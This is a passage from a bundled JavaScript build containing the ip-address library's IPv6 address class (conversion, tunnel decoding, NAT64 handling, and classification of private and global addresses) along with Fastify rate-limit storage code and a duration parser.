@returns {bigint} + */ + bigInt() { + return BigInt(`0x${this.parsedAddress.map(paddedHex).join("")}`); + } + /** + * Return the last two groups of this address as an IPv4 address string. + * If this address carries a CIDR prefix that covers the trailing 32 bits + * (i.e. `subnetMask >= 96`), the resulting `Address4` inherits the + * corresponding v4 prefix (`subnetMask - 96`); otherwise it defaults to + * `/32`. + * @returns {Address4} + * @example + * var address = new Address6('2001:4860:4001::1825:bf11'); + * address.to4().correctForm(); // '24.37.191.17' + */ + to4() { + const binary = this.binaryZeroPad().split(""); + const hex3 = BigInt(`0b${binary.slice(96, 128).join("")}`).toString(16).padStart(8, "0"); + if (this.subnetMask >= 96) { + const v4Mask = this.subnetMask - 96; + const groups = []; + for (let i = 0; i < 8; i += 2) { + groups.push(parseInt(hex3.slice(i, i + 2), 16)); + } + return new ipv4_1.Address4(`${groups.join(".")}/${v4Mask}`); + } + return ipv4_1.Address4.fromHex(hex3); + } + /** + * Return the v4-in-v6 form of the address + * @returns {String} + */ + to4in6() { + const address4 = this.to4(); + const address6 = new _Address6(this.parsedAddress.slice(0, 6).join(":"), 6); + const correct = address6.correctForm(); + let infix = ""; + if (!/:$/.test(correct)) { + infix = ":"; + } + return correct + infix + address4.correctForm(); + } + /** + * Decodes the Teredo tunneling fields embedded in this address. Returns the + * Teredo prefix, server IPv4, client IPv4, raw flag bits, cone-NAT flag, + * UDP port, and Microsoft-format flag breakdown (reserved, universal/local, + * group/individual, nonce). Only meaningful for addresses in `2001::/32`. + */ + inspectTeredo() { + const prefix = this.getBitsBase16(0, 32); + const bitsForUdpPort = this.getBits(80, 96); + const udpPort = (bitsForUdpPort ^ BigInt("0xffff")).toString(); + const server4 = ipv4_1.Address4.fromHex(this.getBitsBase16(32, 64)); + const bitsForClient4 = this.getBits(96, 128); + const client4 = ipv4_1.Address4.fromHex((bitsForClient4 ^ BigInt("0xffffffff")).toString(16).padStart(8, "0")); + const flagsBase2 = this.getBitsBase2(64, 80); + const coneNat = (0, common_1.testBit)(flagsBase2, 15); + const reserved = (0, common_1.testBit)(flagsBase2, 14); + const groupIndividual = (0, common_1.testBit)(flagsBase2, 8); + const universalLocal = (0, common_1.testBit)(flagsBase2, 9); + const nonce = BigInt(`0b${flagsBase2.slice(2, 6) + flagsBase2.slice(8, 16)}`).toString(10); + return { + prefix: `${prefix.slice(0, 4)}:${prefix.slice(4, 8)}`, + server4: server4.address, + client4: client4.address, + flags: flagsBase2, + coneNat, + microsoft: { + reserved, + universalLocal, + groupIndividual, + nonce + }, + udpPort + }; + } + /** + * Decodes the 6to4 tunneling fields embedded in this address. Returns the + * 6to4 prefix and the embedded IPv4 gateway address. Only meaningful for + * addresses in `2002::/16`. + */ + inspect6to4() { + const prefix = this.getBitsBase16(0, 16); + const gateway = ipv4_1.Address4.fromHex(this.getBitsBase16(16, 48)); + return { + prefix: prefix.slice(0, 4), + gateway: gateway.address + }; + } + /** + * Return a v6 6to4 address from a v6 v4inv6 address + * @returns {Address6} + */ + to6to4() { + if (!this.is4()) { + return null; + } + const addr6to4 = [ + "2002", + this.getBitsBase16(96, 112), + this.getBitsBase16(112, 128), + "", + "/16" + ].join(":"); + return new _Address6(addr6to4); + } + /** + * Embed an IPv4 address into a NAT64 IPv6 address using the encoding + * defined by [RFC 6052](https://datatracker.ietf.org/doc/html/rfc6052). + * The default prefix is the well-known prefix `64:ff9b::/96`. The prefix + * length must be one of 32, 40, 48, 56, 64, or 96; for prefixes shorter + * than /64 the IPv4 octets are split around the reserved bits 64–71. + * @example + * Address6.fromAddress4Nat64('192.0.2.33').correctForm(); // '64:ff9b::c000:221' + * Address6.fromAddress4Nat64('192.0.2.33', '2001:db8::/32').correctForm(); // '2001:db8:c000:221::' + */ + static fromAddress4Nat64(address, prefix = "64:ff9b::/96") { + const v4 = new ipv4_1.Address4(address); + const prefix6 = new _Address6(prefix); + const pl = prefix6.subnetMask; + if (pl !== 32 && pl !== 40 && pl !== 48 && pl !== 56 && pl !== 64 && pl !== 96) { + throw new address_error_1.AddressError("NAT64 prefix length must be 32, 40, 48, 56, 64, or 96"); + } + const prefixBits = prefix6.binaryZeroPad(); + const v4Bits = v4.binaryZeroPad(); + let bits; + if (pl === 96) { + bits = prefixBits.slice(0, 96) + v4Bits; + } else { + const beforeU = 64 - pl; + bits = [ + prefixBits.slice(0, pl), + v4Bits.slice(0, beforeU), + // Bits 64 to 71 are the reserved u octet and are always zero. + "00000000", + v4Bits.slice(beforeU), + "0".repeat(128 - 72 - (32 - beforeU)) + ].join(""); + } + const hex3 = BigInt(`0b${bits}`).toString(16).padStart(32, "0"); + const groups = []; + for (let i = 0; i < 8; i++) { + groups.push(hex3.slice(i * 4, (i + 1) * 4)); + } + return new _Address6(groups.join(":")); + } + /** + * Extract the embedded IPv4 address from a NAT64 IPv6 address using the + * encoding defined by [RFC 6052](https://datatracker.ietf.org/doc/html/rfc6052). + * The default prefix is the well-known prefix `64:ff9b::/96`. Returns + * `null` if this address is not contained within the given prefix. + * @example + * new Address6('64:ff9b::c000:221').toAddress4Nat64()!.correctForm(); // '192.0.2.33' + */ + toAddress4Nat64(prefix = "64:ff9b::/96") { + const prefix6 = new _Address6(prefix); + const pl = prefix6.subnetMask; + if (pl !== 32 && pl !== 40 && pl !== 48 && pl !== 56 && pl !== 64 && pl !== 96) { + throw new address_error_1.AddressError("NAT64 prefix length must be 32, 40, 48, 56, 64, or 96"); + } + if (!this.isHostInSubnet(prefix6)) { + return null; + } + const bits = this.binaryZeroPad(); + let v4Bits; + if (pl === 96) { + v4Bits = bits.slice(96, 128); + } else { + const beforeU = 64 - pl; + v4Bits = bits.slice(pl, pl + beforeU) + bits.slice(72, 72 + (32 - beforeU)); + } + const octets = []; + for (let i = 0; i < 4; i++) { + octets.push(parseInt(v4Bits.slice(i * 8, (i + 1) * 8), 2).toString()); + } + return new ipv4_1.Address4(octets.join(".")); + } + /** + * Return a byte array. + * + * To get a Node.js `Buffer`, wrap the result: `Buffer.from(address.toByteArray())`. + * @returns {Array} + */ + toByteArray() { + const value = this.bigInt().toString(16).padStart(constants6.BITS / 4, "0"); + const bytes = []; + for (let i = 0, length = value.length; i < length; i += 2) { + bytes.push(parseInt(value.substring(i, i + 2), 16)); + } + return bytes; + } + /** + * Return an unsigned byte array. + * + * To get a Node.js `Buffer`, wrap the result: `Buffer.from(address.toUnsignedByteArray())`. + * @returns {Array} + */ + toUnsignedByteArray() { + return this.toByteArray().map(unsignByte); + } + /** + * Convert a byte array to an Address6 object. + * + * Accepts unsigned bytes (0 to 255) or signed bytes (-128 to 127, as an + * `Int8Array` or a Java `byte[]` holds them), folding signed values to their + * unsigned equivalent. Throws `AddressError` unless given exactly 16 + * integers from -128 to 255. + * + * To convert from a Node.js `Buffer`, spread it: `Address6.fromByteArray([...buf])`. + * @returns {Address6} + */ + static fromByteArray(bytes) { + common.assertByteArray(bytes, 16, "IPv6", -128); + return this.fromUnsignedByteArray(bytes.map(unsignByte)); + } + /** + * Convert an unsigned byte array to an Address6 object. + * + * Throws `AddressError` unless given exactly 16 integers from 0 to 255. + * + * To convert from a Node.js `Buffer`, spread it: `Address6.fromUnsignedByteArray([...buf])`. + * @returns {Address6} + */ + static fromUnsignedByteArray(bytes) { + common.assertByteArray(bytes, 16, "IPv6", 0); + const BYTE_MAX = BigInt("256"); + let result = BigInt("0"); + let multiplier = BigInt("1"); + for (let i = bytes.length - 1; i >= 0; i--) { + result += multiplier * BigInt(bytes[i].toString(10)); + multiplier *= BYTE_MAX; + } + return _Address6.fromBigInt(result); + } + /** + * Returns true if the address is in the canonical form, false otherwise + * @returns {boolean} + */ + isCanonical() { + return this.addressMinusSuffix === this.canonicalForm(); + } + /** + * Returns true if the address is a link-local unicast address in `fe80::/10` + * ([RFC 4291 §2.4](https://datatracker.ietf.org/doc/html/rfc4291#section-2.4)) + * or an IPv4-mapped / NAT64 address whose embedded IPv4 address is link-local + * (`169.254.0.0/16`, e.g. `::ffff:169.254.169.254`), false otherwise. + * @returns {boolean} + */ + isLinkLocal() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isLinkLocal(); + } + return this.isHostInSubnet(LINK_LOCAL_SUBNET); + } + /** + * Returns true if the address is a multicast address, false otherwise + * @returns {boolean} + */ + isMulticast() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isMulticast(); + } + const type = this.getType(); + return type === "Multicast" || type.startsWith("Multicast "); + } + /** + * Returns true if the address was written in v4-in-v6 dotted-quad notation + * (e.g. `::ffff:127.0.0.1`), false otherwise. This is a notation-level flag + * and does not reflect whether the address bits lie in the IPv4-mapped + * (`::ffff:0:0/96`) subnet — for that, see {@link isMapped4}. + * @returns {boolean} + */ + is4() { + return this.v4; + } + /** + * Returns true if the address is an IPv4-mapped IPv6 address in + * `::ffff:0:0/96` ([RFC 4291 §2.5.5.2](https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.5.2)), + * false otherwise. Unlike {@link is4}, this checks the underlying address + * bits rather than the textual notation, so `::ffff:127.0.0.1` and + * `::ffff:7f00:1` both return true. + * @returns {boolean} + */ + isMapped4() { + return this.isHostInSubnet(IPV4_MAPPED_SUBNET); + } + /** + * If this address embeds a routable IPv4 address — i.e. it is IPv4-mapped + * (`::ffff:0:0/96`) or sits in the NAT64 well-known prefix (`64:ff9b::/96`, + * [RFC 6052](https://datatracker.ietf.org/doc/html/rfc6052)) — return that + * embedded address as an {@link Address4}; otherwise return null. + * + * The special-property checks (`isLoopback`, `isLinkLocal`, `isMulticast`, + * `isUnspecified`, `isPrivate`, `isCGNAT`, `isBroadcast`) call this first and + * delegate to the embedded {@link Address4} when present, so a literal such as + * `::ffff:127.0.0.1` is classified by what it actually reaches (loopback) + * rather than by its IPv6 wrapper (which `getType()` reports as IPv4-mapped). + * This matters wherever the checks back a trust-boundary decision (e.g. an + * SSRF allow/deny filter): without normalization, `::ffff:10.0.0.1`, + * `::ffff:169.254.169.254`, `64:ff9b::7f00:1`, etc. would all read as + * non-internal. + * @returns {Address4 | null} + */ + embeddedIPv4() { + if (this.isMapped4() || this.isHostInSubnet(NAT64_WELL_KNOWN_SUBNET)) { + return this.to4(); + } + return null; + } + /** + * Returns true if the address is a Teredo address, false otherwise + * @returns {boolean} + */ + isTeredo() { + return this.isHostInSubnet(TEREDO_SUBNET); + } + /** + * Returns true if the address is a 6to4 address, false otherwise + * @returns {boolean} + */ + is6to4() { + return this.isHostInSubnet(SIX_TO_FOUR_SUBNET); + } + /** + * Returns true if the address is a loopback address, false otherwise + * @returns {boolean} + */ + isLoopback() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isLoopback(); + } + return this.getType() === "Loopback"; + } + /** + * Returns true if the address is a Unique Local Address in `fc00::/7` ([RFC 4193](https://datatracker.ietf.org/doc/html/rfc4193)). ULAs are the IPv6 equivalent of IPv4 [RFC 1918](https://datatracker.ietf.org/doc/html/rfc1918) private addresses. + * @returns {boolean} + */ + isULA() { + return this.isHostInSubnet(ULA_SUBNET); + } + /** + * Returns true if the address is private, i.e. a Unique Local Address in + * `fc00::/7` ([RFC 4193](https://datatracker.ietf.org/doc/html/rfc4193)), an + * address in the NAT64 local-use range `64:ff9b:1::/48` + * ([RFC 8215](https://datatracker.ietf.org/doc/html/rfc8215)), or an + * IPv4-mapped / NAT64 well-known address whose embedded IPv4 address is in + * one of the [RFC 1918](https://datatracker.ietf.org/doc/html/rfc1918) + * private ranges (e.g. `::ffff:10.0.0.1`). This is the IPv6 counterpart to + * {@link Address4.isPrivate}; use it instead of {@link isULA} when you need to + * catch mapped RFC 1918 addresses as well as native ULAs. + * + * The local-use NAT64 range is reported private as a whole rather than by + * its embedded IPv4 address: an operator may carve a prefix of any RFC 6052 + * length out of `64:ff9b:1::/48`, so the same bits decode to different IPv4 + * addresses under different deployments and no single decoding is correct. + * Use {@link toAddress4Nat64} with the deployment's prefix to decode one. + * @returns {boolean} + */ + isPrivate() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isPrivate(); + } + return this.isULA() || this.isHostInSubnet(NAT64_LOCAL_USE_SUBNET); + } + /** + * Returns true if the address is an IPv4-mapped / NAT64 address whose embedded + * IPv4 address is in the carrier-grade NAT range `100.64.0.0/10` + * ([RFC 6598](https://datatracker.ietf.org/doc/html/rfc6598)), false + * otherwise. There is no native IPv6 CGNAT range, so this only ever returns + * true for an embedded IPv4 address (e.g. `::ffff:100.64.0.1`). + * @returns {boolean} + */ + isCGNAT() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isCGNAT(); + } + return false; + } + /** + * Returns true if the address is an IPv4-mapped / NAT64 address whose embedded + * IPv4 address is the limited broadcast address `255.255.255.255` + * ([RFC 919](https://datatracker.ietf.org/doc/html/rfc919)), false otherwise. + * There is no IPv6 broadcast, so this only ever returns true for an embedded + * IPv4 address (e.g. `::ffff:255.255.255.255`). + * @returns {boolean} + */ + isBroadcast() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isBroadcast(); + } + return false; + } + /** + * Returns true if the address is the unspecified address `::`. + * @returns {boolean} + */ + isUnspecified() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isUnspecified(); + } + return this.getType() === "Unspecified"; + } + /** + * Returns true if the address is in the documentation prefix `2001:db8::/32` ([RFC 3849](https://datatracker.ietf.org/doc/html/rfc3849)). + * @returns {boolean} + */ + isDocumentation() { + return DOCUMENTATION_SUBNETS.some((subnet) => this.isHostInSubnet(subnet)); + } + /** + * Returns true if the address is in the benchmarking range `2001:2::/48` + * ([RFC 5180](https://datatracker.ietf.org/doc/html/rfc5180)) or is an + * IPv4-mapped / NAT64 address whose embedded IPv4 address is in + * `198.18.0.0/15`, false otherwise. + * @returns {boolean} + */ + isBenchmarking() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isBenchmarking(); + } + return this.isHostInSubnet(BENCHMARKING_SUBNET); + } + /** + * Returns true if the address is globally reachable: inside the global + * unicast allocation `2000::/3` (the only range the [IANA IPv6 Address Space + * Registry](https://www.iana.org/assignments/ipv6-address-space/) assigns + * for global unicast; everything else is reserved, ULA, link-local, or + * multicast) and not in any block the [IANA IPv6 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv6-special-registry/) + * marks as not globally reachable. An IPv4-mapped or NAT64 well-known + * address answers for its embedded IPv4 address, so `::ffff:10.0.0.1` and + * `64:ff9b::7f00:1` are not global. Teredo (`2001::/32`) and 6to4 + * (`2002::/16`) are not global either: the registry lists them as N/A and a + * packet to one needs a relay. + * + * This covers everything the individual classifiers name and the blocks they + * do not: the discard-only prefix `100::/64`, the IETF protocol assignments + * in `2001::/23`, the deprecated site-local `fec0::/10` and IPv4-compatible + * `::/96` ranges, and unallocated space such as `4000::/3`. It is the single + * predicate to use where a request must not reach an internal or + * special-purpose destination; see SECURITY.md. + * @returns {boolean} + */ + isGlobal() { + const embedded = this.embeddedIPv4(); + if (embedded) { + return embedded.isGlobal(); + } + return this.isHostInSubnet(GLOBAL_UNICAST_SUBNET) && common.isGloballyReachable.call(this, SPECIAL_PURPOSE_V6); + } + // #endregion + // #region HTML + /** + * Returns the address as an HTTP URL with the host bracketed, e.g. + * `http://[2001:db8::1]/`. If `optionalPort` is provided it is appended, + * e.g. `http://[2001:db8::1]:8080/`. + */ + href(optionalPort) { + if (optionalPort === void 0) { + optionalPort = ""; + } else { + optionalPort = `:${optionalPort}`; + } + return `http://[${this.correctForm()}]${optionalPort}/`; + } + /** + * Returns an HTML `` element whose `href` encodes the address in a URL + * hash fragment (default prefix `/#address=`). Useful for linking between + * pages of an address-inspector UI. + * @param options.className - CSS class for the rendered `` element + * @param options.prefix - hash prefix prepended to the address (default `/#address=`) + * @param options.v4 - when true, render the address in v4-in-v6 form + */ + link(options) { + if (!options) { + options = {}; + } + if (options.className === void 0) { + options.className = ""; + } + if (options.prefix === void 0) { + options.prefix = "/#address="; + } + if (options.v4 === void 0) { + options.v4 = false; + } + let formFunction = this.correctForm; + if (options.v4) { + formFunction = this.to4in6; + } + const form = formFunction.call(this); + const safeHref = helpers.escapeHtml(`${options.prefix}${form}`); + const safeForm = helpers.escapeHtml(form); + if (options.className) { + const safeClass = helpers.escapeHtml(options.className); + return `${safeForm}`; + } + return `${safeForm}`; + } + /** + * Groups an address. + * + * Returns an HTML fragment: each group is wrapped in a `` carrying + * the group classes an address-inspector UI hovers on. The address content + * is HTML-escaped; anything you concatenate around it is your + * responsibility. + * @returns {String} + */ + group() { + if (this.elidedGroups === 0) { + return helpers.simpleGroup(this.addressMinusSuffix).join(":"); + } + assert2(typeof this.elidedGroups === "number"); + assert2(typeof this.elisionBegin === "number"); + const output = []; + const [left, right] = this.addressMinusSuffix.split("::"); + if (left.length) { + output.push(...helpers.simpleGroup(left)); + } else { + output.push(""); + } + const classes = ["hover-group"]; + for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { + classes.push(`group-${i}`); + } + output.push(``); + if (right.length) { + output.push(...helpers.simpleGroup(right, this.elisionEnd)); + } else { + output.push(""); + } + if (this.is4()) { + assert2(this.address4 instanceof ipv4_1.Address4); + output.pop(); + output.push(this.address4.groupForV6()); + } + return output.join(":"); + } + // #endregion + // #region Regular expressions + /** + * Generate a regular expression string that can be used to find or validate + * all variations of this address + * @param {boolean} substringSearch + * @returns {string} + */ + regularExpressionString(substringSearch = false) { + let output = []; + const address6 = new _Address6(this.correctForm()); + if (address6.elidedGroups === 0) { + output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + } else if (address6.elidedGroups === constants6.GROUPS) { + output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + } else { + const halves = address6.address.split("::"); + if (halves[0].length) { + output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + } + assert2(typeof address6.elidedGroups === "number"); + output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + if (halves[1].length) { + output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + } + output = [output.join(":")]; + } + if (!substringSearch) { + output = [ + "(?=^|", + regular_expressions_1.ADDRESS_BOUNDARY, + "|[^\\w\\:])(", + ...output, + ")(?=[^\\w\\:]|", + regular_expressions_1.ADDRESS_BOUNDARY, + "|$)" + ]; + } + return output.join(""); + } + /** + * Generate a regular expression that can be used to find or validate all + * variations of this address. + * @param {boolean} substringSearch + * @returns {RegExp} + */ + regularExpression(substringSearch = false) { + return new RegExp(this.regularExpressionString(substringSearch), "i"); + } + }; + exports.Address6 = Address6; + var TYPE_SUBNETS = Object.keys(constants6.TYPES).map((subnet) => [ + new Address6(subnet), + constants6.TYPES[subnet] + ]); + var TEREDO_SUBNET = new Address6("2001::/32"); + var SIX_TO_FOUR_SUBNET = new Address6("2002::/16"); + var ULA_SUBNET = new Address6("fc00::/7"); + var LINK_LOCAL_SUBNET = new Address6("fe80::/10"); + var DOCUMENTATION_SUBNETS = [new Address6("2001:db8::/32"), new Address6("3fff::/20")]; + var BENCHMARKING_SUBNET = new Address6("2001:2::/48"); + var GLOBAL_UNICAST_SUBNET = new Address6("2000::/3"); + var SPECIAL_PURPOSE_V6 = constants6.SPECIAL_PURPOSE.map(([cidr2, , reachable]) => ({ + subnet: new Address6(cidr2), + reachable + })); + var IPV4_MAPPED_SUBNET = new Address6("::ffff:0:0/96"); + var NAT64_WELL_KNOWN_SUBNET = new Address6("64:ff9b::/96"); + var NAT64_LOCAL_USE_SUBNET = new Address6("64:ff9b:1::/48"); + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ip-address.js +var require_ip_address = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ip-address.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + var desc2 = Object.getOwnPropertyDescriptor(m, k); + if (!desc2 || ("get" in desc2 ? !m.__esModule : desc2.writable || desc2.configurable)) { + desc2 = { enumerable: true, get: function() { + return m[k]; + } }; + } + Object.defineProperty(o, k2, desc2); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.v6 = exports.AddressError = exports.Address6 = exports.Address4 = void 0; + var ipv4_1 = require_ipv4(); + Object.defineProperty(exports, "Address4", { enumerable: true, get: function() { + return ipv4_1.Address4; + } }); + var ipv6_1 = require_ipv6(); + Object.defineProperty(exports, "Address6", { enumerable: true, get: function() { + return ipv6_1.Address6; + } }); + var address_error_1 = require_address_error(); + Object.defineProperty(exports, "AddressError", { enumerable: true, get: function() { + return address_error_1.AddressError; + } }); + var helpers = __importStar(require_helpers()); + exports.v6 = { helpers }; + } +}); + +// node_modules/.pnpm/@lukeed+ms@2.0.2/node_modules/@lukeed/ms/dist/index.js +var require_dist = __commonJS({ + "node_modules/.pnpm/@lukeed+ms@2.0.2/node_modules/@lukeed/ms/dist/index.js"(exports) { + var RGX = /^(-?(?:\d+)?\.?\d+) *(m(?:illiseconds?|s(?:ecs?)?))?(s(?:ec(?:onds?|s)?)?)?(m(?:in(?:utes?|s)?)?)?(h(?:ours?|rs?)?)?(d(?:ays?)?)?(w(?:eeks?|ks?)?)?(y(?:ears?|rs?)?)?$/; + var SEC = 1e3; + var MIN = SEC * 60; + var HOUR = MIN * 60; + var DAY = HOUR * 24; + var YEAR = DAY * 365.25; + function parse4(val) { + var num, arr = val.toLowerCase().match(RGX); + if (arr != null && (num = parseFloat(arr[1]))) { + if (arr[3] != null) return num * SEC; + if (arr[4] != null) return num * MIN; + if (arr[5] != null) return num * HOUR; + if (arr[6] != null) return num * DAY; + if (arr[7] != null) return num * DAY * 7; + if (arr[8] != null) return num * YEAR; + return num; + } + } + function fmt(val, pfx, str, long) { + var num = (val | 0) === val ? val : ~~(val + 0.5); + return pfx + num + (long ? " " + str + (num != 1 ? "s" : "") : str[0]); + } + function format(num, long) { + var pfx = num < 0 ? "-" : "", abs = num < 0 ? -num : num; + if (abs < SEC) return num + (long ? " ms" : "ms"); + if (abs < MIN) return fmt(abs / SEC, pfx, "second", long); + if (abs < HOUR) return fmt(abs / MIN, pfx, "minute", long); + if (abs < DAY) return fmt(abs / HOUR, pfx, "hour", long); + if (abs < YEAR) return fmt(abs / DAY, pfx, "day", long); + return fmt(abs / YEAR, pfx, "year", long); + } + exports.format = format; + exports.parse = parse4; + } +}); + +// node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/store/LocalStore.js +var require_LocalStore = __commonJS({ + "node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/store/LocalStore.js"(exports, module) { + "use strict"; + var { LruMap: Lru } = require_toad_cache(); + function LocalStore(continueExceeding, exponentialBackoff, cache2 = 5e3) { + this.continueExceeding = continueExceeding; + this.exponentialBackoff = exponentialBackoff; + this.lru = new Lru(cache2); + } + LocalStore.prototype.incr = function(ip, cb, timeWindow, max) { + const nowInMs = Date.now(); + let current = this.lru.get(ip); + if (!current) { + current = { current: 1, ttl: timeWindow, iterationStartMs: nowInMs }; + } else if (current.iterationStartMs + timeWindow <= nowInMs) { + current.current = 1; + current.ttl = timeWindow; + current.iterationStartMs = nowInMs; + } else { + ++current.current; + if (this.continueExceeding && current.current > max) { + current.ttl = timeWindow; + current.iterationStartMs = nowInMs; + } else if (this.exponentialBackoff && current.current > max) { + const backoffExponent = current.current - max - 1; + const ttl = timeWindow * 2 ** backoffExponent; + current.ttl = Number.isSafeInteger(ttl) ? ttl : Number.MAX_SAFE_INTEGER; + current.iterationStartMs = nowInMs; + } else { + current.ttl = timeWindow - (nowInMs - current.iterationStartMs); + } + } + this.lru.set(ip, current); + cb(null, current); + }; + LocalStore.prototype.read = function(ip, cb, timeWindow, max) { + const nowInMs = Date.now(); + const current = this.lru.get(ip); + if (!current || current.iterationStartMs + timeWindow <= nowInMs) { + cb(null, { current: 0, ttl: 0 }); + return; + } + const ttl = timeWindow - (nowInMs - current.iterationStartMs); + cb(null, { current: current.current, ttl }); + }; + LocalStore.prototype.child = function(routeOptions) { + return new LocalStore(routeOptions.continueExceeding, routeOptions.exponentialBackoff, routeOptions.cache); + }; + module.exports = LocalStore; + } +}); + +// node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/store/RedisStore.js +var require_RedisStore = __commonJS({ + "node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/store/RedisStore.js"(exports, module) { + "use strict"; + var lua = ` + -- Key to operate on + local key = KEYS[1] + -- Time window for the TTL + local timeWindow = tonumber(ARGV[1]) + -- Max requests + local max = tonumber(ARGV[2]) + -- Flag to determine if TTL should be reset after exceeding + local continueExceeding = ARGV[3] == 'true' + --Flag to determine if exponential backoff should be applied + local exponentialBackoff = ARGV[4] == 'true' + + --Max safe integer + local MAX_SAFE_INTEGER = (2^53) - 1 + + -- Increment the key's value + local current = redis.call('INCR', key) + + if current == 1 or (continueExceeding and current > max) then + redis.call('PEXPIRE', key, timeWindow) + elseif exponentialBackoff and current > max then + local backoffExponent = current - max - 1 + timeWindow = math.min(timeWindow * (2 ^ backoffExponent), MAX_SAFE_INTEGER) + redis.call('PEXPIRE', key, timeWindow) + else + timeWindow = redis.call('PTTL', key) + end + + return {current, timeWindow} +`; + var luaRead = ` + -- Key to operate on + local key = KEYS[1] + + -- Read the counter without mutating it + local current = redis.call('GET', key) + + -- A missing key returns false from redis.call (and nil from redis.pcall); + -- "not current" covers both, so the clean-state branch is robust either way. + if not current then + -- Key doesn't exist: clean state + return {0, 0} + end + + -- Read the remaining TTL in milliseconds + local ttl = redis.call('PTTL', key) + if ttl < 0 then + -- -2 (no key) or -1 (no expiry): report no active window + ttl = 0 + end + + return {tonumber(current), ttl} +`; + function RedisStore(continueExceeding, exponentialBackoff, redis, key = "fastify-rate-limit-") { + this.continueExceeding = continueExceeding; + this.exponentialBackoff = exponentialBackoff; + this.redis = redis; + this.key = key; + if (!this.redis.rateLimit) { + this.redis.defineCommand("rateLimit", { + numberOfKeys: 1, + lua + }); + } + if (!this.redis.rateLimitRead) { + this.redis.defineCommand("rateLimitRead", { + numberOfKeys: 1, + lua: luaRead + }); + } + } + RedisStore.prototype.incr = function(ip, cb, timeWindow, max) { + this.redis.rateLimit(this.key + ip, timeWindow, max, this.continueExceeding, this.exponentialBackoff, (err, result) => { + err ? cb(err, null) : cb(null, { current: result[0], ttl: result[1] }); + }); + }; + RedisStore.prototype.read = function(ip, cb, timeWindow, max) { + this.redis.rateLimitRead(this.key + ip, (err, result) => { + err ? cb(err, null) : cb(null, { current: result[0], ttl: result[1] }); + }); + }; + RedisStore.prototype.child = function(routeOptions) { + return new RedisStore(routeOptions.continueExceeding, routeOptions.exponentialBackoff, this.redis, `${this.key}${routeOptions.routeInfo.method}${routeOptions.routeInfo.url}-`); + }; + module.exports = RedisStore; + } +}); + +// node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/index.js +var require_rate_limit = __commonJS({ + "node_modules/.pnpm/@fastify+rate-limit@11.2.0/node_modules/@fastify/rate-limit/index.js"(exports, module) { + "use strict"; + var { isIPv6 } = __require("node:net"); + var { Address6 } = require_ip_address(); + var fp = require_fastify_plugin(); + var { parse: parse4, format } = require_dist(); + var LocalStore = require_LocalStore(); + var RedisStore = require_RedisStore(); + var defaultMax = 1e3; + var defaultTimeWindow = 6e4; + var defaultHook = "onRequest"; + var defaultIPv6Subnet = 64; + var defaultHeaders = { + rateLimit: "x-ratelimit-limit", + rateRemaining: "x-ratelimit-remaining", + rateReset: "x-ratelimit-reset", + retryAfter: "retry-after" + }; + var draftSpecHeaders = { + rateLimit: "ratelimit-limit", + rateRemaining: "ratelimit-remaining", + rateReset: "ratelimit-reset", + retryAfter: "retry-after" + }; + var defaultOnFn = () => { + }; + function normalizeIP(ip, ipv6Subnet = defaultIPv6Subnet) { + if (!isIPv6(ip)) { + return ip.toLowerCase(); + } + const address = new Address6(ip); + if (address.isMapped4()) { + return address.to4().correctForm(); + } + if (ipv6Subnet < 128) { + return new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm(); + } + return address.correctForm(); + } + function normalizeIPv6Subnet(ipv6Subnet) { + if (Number.isFinite(ipv6Subnet) && ipv6Subnet >= 0 && ipv6Subnet <= 128) { + return Math.trunc(ipv6Subnet); + } + return defaultIPv6Subnet; + } + var defaultKeyGenerator = (req, ipv6Subnet) => normalizeIP(req.ip, ipv6Subnet); + var defaultErrorResponse = (_req, context2) => { + const err = new Error(`Rate limit exceeded, retry in ${context2.after}`); + err.statusCode = context2.statusCode; + return err; + }; + async function fastifyRateLimit(fastify, settings) { + const globalParams = { + global: typeof settings.global === "boolean" ? settings.global : true + }; + if (typeof settings.enableDraftSpec === "boolean" && settings.enableDraftSpec) { + globalParams.enableDraftSpec = true; + globalParams.labels = draftSpecHeaders; + } else { + globalParams.enableDraftSpec = false; + globalParams.labels = defaultHeaders; + } + globalParams.addHeaders = Object.assign({ + [globalParams.labels.rateLimit]: true, + [globalParams.labels.rateRemaining]: true, + [globalParams.labels.rateReset]: true, + 